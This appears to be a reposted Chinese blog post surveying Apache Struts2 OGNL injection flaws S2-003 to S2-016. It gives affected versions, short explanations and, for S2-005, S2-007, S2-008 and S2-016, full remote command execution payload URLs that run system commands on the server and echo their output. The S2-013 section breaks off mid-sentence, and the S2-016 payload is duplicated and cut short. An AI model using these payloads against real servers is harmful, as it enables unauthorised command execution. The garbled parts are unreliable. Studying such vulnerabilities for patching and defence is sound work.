有:S2-003,S2-005,S2-007,S2-008,S2-009,S2-012~S2-016,下面逐一简要说明。
一、S2-003
受影响版本:低于Struts 2.0.12
struts2会将http的每个参数名解析为ongl语句执行(可理解为java代码)。ongl表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制。
二、S2-005
受影响版本:低于Struts 2.2.1
对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,安全配置被绕过再次导致了漏洞。
命令执行EXP:
1 |
exp.action?( '\u0023_memberAccess.allowStaticMethodAccess' )(a)= true &(b)(( '\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse' )(b))&( '\u0023c' )(( '\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET' )(c))&(g)(( '\u0023mycmd\u003d\'ifconfig\'' )(d))&(h)(( '\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)' )(d))&(i)(( '\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())' )(d))&(j)(( '\u0023myres\u003dnew\40byte[51020]' )(d))&(k)(( '\u0023mydat.readFully(\u0023myres)' )(d))&(l)(( '\u0023mystr\u003dnew\40java.lang.String(\u0023myres)' )(d))&(m)(( '\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()' )(d))&(n)(( '\u0023myout.getWriter().println(\u0023mystr)' )(d)) |
关于()()结构,应该是ongl表达式转换为语法树时,(a)()比(b)()靠前,优先执行(个人猜想,后续有时间了解下具体原理)。此外()(()())这种结构也可以转换为()()(),调了部分结构,exp如下:
1 |
exp.action?( '\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse' )(bla)(bla)&( '\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET' )(kxlzx)(kxlzx)&( '\u0023_memberAccess.allowStaticMethodAccess\u003dtrue' )(bla)(bla)&( '\u0023mycmd\u003d\'ifconfig\'' )(bla)(bla)&( '\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)' )(bla)(bla)&(A)(( '\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())' )(bla))&(B)(( '\u0023myres\u003dnew\40byte[51020]' )(bla))&(C)(( '\u0023mydat.readFully(\u0023myres)' )(bla))&(D)(( '\u0023mystr\u003dnew\40java.lang.String(\u0023myres)' )(bla))&( '\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()' )(bla)(bla)&(E)(( '\u0023myout.getWriter().println(\u0023mystr)' )(bla)) |
三、S2-007
受影响版本:低于Struts 2.2.3.1
假设test.java中定义了一个整数long id,id来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞。
命令执行EXP:
1 |
id= '%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ifconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%2b' |
四、S2-008
受影响版本:低于Struts 2.3.1.2
漏洞报告者一共报告了4个漏洞,下面逐一列举
1、即S2-007,跳过
2、当struts配置中使用cookie拦截器,举例
1 |
<interceptor-ref name= "cookie" > |
2 |
<param name= "cookiesName" >*</param> |
3 |
<param name= "cookiesValue" >*</param> |
4 |
</interceptor-ref> |
cookiename没有做特殊字符的限制,会被当作ognl代码执行。不过java的webserver(tomcat等)在cookiename中禁掉了很多非主流字符,该漏洞局限性较大,危害较小。
3、对于(1)(2)这样的ongl表达式,ongl会把1当作一个ongl表达式先执行。对于url参数user=(1)(2),struts2 只对user参数做了过滤,并没有限制参数值,从而导致漏洞的产生,此种利用方法在S2-009中提出,S2-008中只提出了二进制文件覆盖的方法。
命令执行EXP:
1 |
exp.action?name=(%23context[ "xwork.MethodAccessor.denyMethodExecution" ]=+ new +java.lang.Boolean( false ),+%23_memberAccess[ "allowStaticMethodAccess" ]= true ,+%23a= @java .lang.Runtime @getRuntime ().exec( 'ifconfig' ).getInputStream(),%23b= new +java.io.InputStreamReader(%23a),%23c= new +java.io.BufferedReader(%23b),%23d= new + char [ 51020 ],%23c.read(%23d),%23kxlzx= @org .apache.struts2.ServletActionContext @getResponse ().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)( 'meh' )] |
4、struts2配置中开启debug调试模式,直接传入ongl表达式执行。
命令执行EXP:exp.action?debug=command&expression=…
五、S2-012
受影响版本:低于Struts 2.3.14.1
这个漏洞是阿里大牛kxlzx提交的,struts2中可以通过${express}或%{express}来引用ongl表达式,当配置一个 action中有${input}或%{input}且input来自于外部输入时,给input赋值%{exp},从而导致任意代码执行。kxlzx拿 struts给的一个例子做了说明,测试样例参考:http://struts.apache.org/development/2.x/docs/s2-012.html
六、S2-013
受影响版本:低于Struts 2.3.14.1
当使用struts的七、S2-014
受影响版本:低于Struts 2.3.14.2
官方在修复S2-012和S2-013的时候只是禁用了%{exp}这种方式,${exp}仍然有效,从而导致远程代码执行。
另外值得一提的是,官方在此次漏洞之后删除了allowStaticMethodAccess的set方法,之前所有的exp将不再有效。不过kxlzx大牛又提出了新的exp实现方法,后面给出exp。
八、S2-015
受影响版本:低于Struts 2.3.14.3
当一个action的name被配置成通配符的时候,访问url,action的名字指定为${exp},action的名字会被作为ongl表达式执行。
另外S2-015中还提到了一个二次表达式执行的问题,类似之前的几个漏洞,参考官网漏洞说明即可。
九、S2-016
受影响版本:低于Struts 2.3.15.1
struts2中有2个导航标签(action、redirect),后面可以直接跟ongl表达式,比如test.action?action:${exp}或test.action?redirect:${exp}
漏洞执行EXP:
1 |
test.action?redirect:${%23a%3dnew%20java.lang.ProcessBuilder( new %20java.lang.String[]{%22netstat% 22 ,% 22 -an% 22 }).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java.io.BufferedReader(%23b),%23d%3dnew%20char[ 51020 ],%23c.read(%23d),%23screen%3d%23context.get( 'com.opensymphony.xwork2.dispatcher.HttpServletResponse' ).getWriter(),%23screen.println(%23d),%23screen.close()}">test.action?redirect:${%23a%3dnew%20java.lang.ProcessBuilder( new %20java.lang.String[]{%22netstat% 22 ,% 22 -an% 22 }).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java |
说明,本文转载而来,可能存在错误,但本文的目的并不是告诉你如何使用这些EXP,而是让你了解struts2漏洞。
原文地址:http://wapapp.baidu.com/evi1r4pper/item/16306ee066d7f50c570f1d7b
参考网站:http://drops.wooyun.org/papers/902